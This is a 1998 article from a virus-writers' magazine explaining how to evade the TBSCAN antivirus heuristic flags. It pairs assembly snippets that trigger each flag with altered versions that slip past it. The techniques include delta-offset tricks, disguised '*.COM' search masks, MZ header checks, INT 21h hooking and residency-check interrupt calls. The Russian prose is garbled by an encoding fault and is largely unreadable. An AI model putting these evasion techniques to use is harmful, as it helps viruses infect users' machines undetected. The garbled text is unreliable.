
                        
       Virus Magazine   Box 176, Kiev 210, Ukraine      IV   1998
            
                            
                                           
                                 
           
          (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd.

                       TBSCAN'a
                            by Havoc The Chaos


        ,     䫠 ThunderByte AV 
   ᮢ,  砫 ᮢ ᯮᮡ,  
      䫠.  砫  䫠, 
 ࠫ ᠬ, ⥬  䫠, ᯮᮡ   뫨
। 㣨 쬨.  १  ⥫  㬥, 
     뢠 䫠 TBSCAN'a.  
⥪ ᠭ  筮, ஬    ᯥ樠쭮 ७.


F  ⥫ 㭪樨 ࠡ  䠩; ਢ   
   ᯮᮡ ஢ 䠩.

                mov     ax, 5701h
                int     21h                     ; 䫠 'F'

                mov     ax, 5700h
                inc     al
                int     21h                     ;  䫠

                mov     ax, 4301h
                int     21h                     ; 䫠 'F'

                mov     ax, 4300h
                inc     al
                int     21h                     ;  䫠

..  , ⠭騩 ࢮ砫쭮 ﭨ 䠩, 
맢  䫠.


E  䨪஢ 窠 室;    뢠   
   䠩. 쬠 ᯥ筮  ᮢ,  ⠪  ?

                call    $+3
                pop     bp                      ; 䫠 'E'

                call    $+3
                int     3
                pop     bp                      ;  䫠


B     室;   ⤠ ࠢ ⢥ ᫥ ᢮
   ᯮ. 祭  砥  .

                mov     ax, 100h
                jmp     ax                      ; 䫠 'B'

                mov     ax, 200h
                shr     ax, 1
                jmp     ax                      ;  䫠


S   ᮤন 楤  ᪠ ᯮ塞 (.COM or .EXE) 䠩.

comspec         db      '*.COM',0          ;   䫠

comspec         db      ').COM',0          ;  䫠, ⥬ 祪 

                inc     byte ptr [bp+offset comspec]
                lea     dx, [bp+comspec]
                int     21h
                dec     byte ptr [bp+offset comspec]

;   ᪠  ').COM'  '*.COM'.   㬠,   ᥡ 
।⠢ :)


T  ४⭮ ६.    ᯮ   ⪨
   ࠦ 䠩.

   ⠭   祬 2000  ᥪ㭤  祬 59  맮
     䫠.


Z  । ⨯ 䠫;   ⠥ ।,   䠩
   EXE譨,    COM-䠩.ᠬ 室   
   ࠦ ணࠬ.


                cmp     word ptr [bp+buffer], 'ZM'   ; ⬥祭 䫠 !
                cmp     word ptr [bp+buffer], 'MZ'   ; ⬥祭 䫠 !
                cmp     byte ptr [bp+buffer], 'Z'    ;  䫠
                cmp     byte ptr [bp+buffer], 'M'    ;  䫠


G   樨.  ᮤন  ᥡ 樨,  ⥮-
   ᪨  ᯮ짮 ⮫쪮   楫 - ஢ ⥫
     뢠  ᪠஢.

    ᬮ   ⮣ 䫠 ⮫쪮 ᯮ A86.  
   ⪮஢      TASM' ( 2 室),  
   䫠   .


@     ,     ᣥ஢
   ᥬ஬,    ᣥ஢ - 
   ஬.

          ᠫ  ⮬  Qark  VLAD:

        "쬥  ਬ  'OR CX,CX'.   
        ।⠢  ᯮᮡ:

         db 09h,0c9h  or  db 0bh,0c9h

         ࢠ   맮  䫠,   - .
         TBSCAN ᮫⭮ ୮ 㯠  ⮩ 樨, .. 
         ਠ 'or cx,cx'     祭  १
         ࠡ "

        㣨 ᫮,   㤥  ᢮ mutation engine,
              !.  ⮩
        楫  ᯮ짮 TASM ( 祣-  ⮬ த :) 
         ஢ ᮡ⢥ engine, TBSCAN 稭 㣠.
         ⠫ 襭ᠭ ⥪,  ᯮ짮  
        祭  'or cx,cx'.  룫拉  09C9h. 
        १ ࠡ    稫 0BC9h.


U  맮 㬥஢ 뢠/㭪樨 . ਭ樯, 筠 
   ணࠬ   ⮫쪮 ⭮ ᠭ,  ᪮॥ ᥣ 
    ਢ   ஢ ᢮ ⢨  .

       
 뫪  : Qark/VLAD

                mov     ax, 6e00h               ;    浪.
                int     21h

                mov     ax, 6f00h               ;   䫠.
                int     21h

                mov     ax, 09191h              ;    浪.
                int     13h

                mov     ax, 09191h              ;   䫠.
                int     0b6h


A  ⥫쭠 ࠡ  .   ᯮ ⠭
   ᯮᮡ  । .

        뫪 :  Qark/VLAD

                cmp     byte ptr [0], 'Z'       ;    MCB.


?  ᮢ⨬ (?)  EXE-䠩.    ,  ⠪
      .

        -  - ᪠  ⮬  ?   ⮫쪮,
         ᫨ 祭    ᬥ饭 10-18  祬 50,
          맮   䫠.   ,  
         ஫쭠 㬬.  䠩,  ஢થ ண 
         䫠,    ⨫ 祣 筮. ⥪  
        , ।  뫮 ४, 窠 室 CS:IP
        ⠪ 뫠 ࠢ쭮.


L   墠뢠 㭪 㧪 ணࠬ.   ᮬ,
    ࠦ 䠩  ᪥.

        墠 㭪樨 4Bh 21  㤥 뢠  
        䫠. ࠧ 襩   १ ᮢ 㤥
        ࠦ 䠩  ⨨.


M     १⭮   .

                mov     word ptr ds:[21h*4], offset int21
                mov     ds:[21h*4+2], es        ;  䫠

         樨  ࠬ 뢠 ᥣ 맮  
 䫠.ᮡ   - ஢, ᯫᨭ  ⥬ 맮
ਣ쭮 21   ᮡ⢥ 㦤.    ⠪, 
砥 䫠 :)

        ,  ਭ樯,  ,   ⥫ ᪠   䫠
        TBSCAN'a.

         , 㢨 ⠪ ⮢ -Thunderbyte ଠ樨,
⭮ 㬠,   襨 뫮 ᠭ   楫
 TBSCAN.   ⠪.   ᪠,   _
_ ணࠬ த,  襭, 祬,  ⪮.

C'est la vie.

           Qark'a  ।⠢ ଠ  䫠,
⠪    Dark Angel'a  Phalcon/Skism   
 䫠 '?'.

                                        ॢ by ShadowMaker